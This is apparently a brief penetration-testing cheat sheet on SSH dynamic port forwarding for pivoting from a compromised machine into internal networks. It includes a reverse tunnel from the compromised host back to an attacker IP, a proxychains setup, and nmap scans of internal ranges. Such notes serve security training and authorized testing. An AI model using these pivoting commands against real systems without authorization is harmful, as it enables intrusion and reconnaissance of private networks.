Dynamic Port Forwarding
In case , compromised machine(172.56.1.1) has multiple internal networks(192.162.1.1 & 162.65.1.1) and ports , then dynamic port fowarding on attacker machine(111.11.11.11) is used for both local and remote method
- Both method on attacker port 8000
Local
ssh -D 8000 user@172.56.1.1 -fN
Remote
on compromised machine, ssh -R 8000 attacker@111.11.11.11 -fN (enable ssh on attacker)
- Configure port 8000 on config file of proxychains
cat /etc/proxychains.conf
socks4 127.0.0.1 8000
- Now , use proxychain with any tool to port forward to any service like
proxychains nmap -sV 192.162.1.1
proxychains nmap -sV 162.65.1.1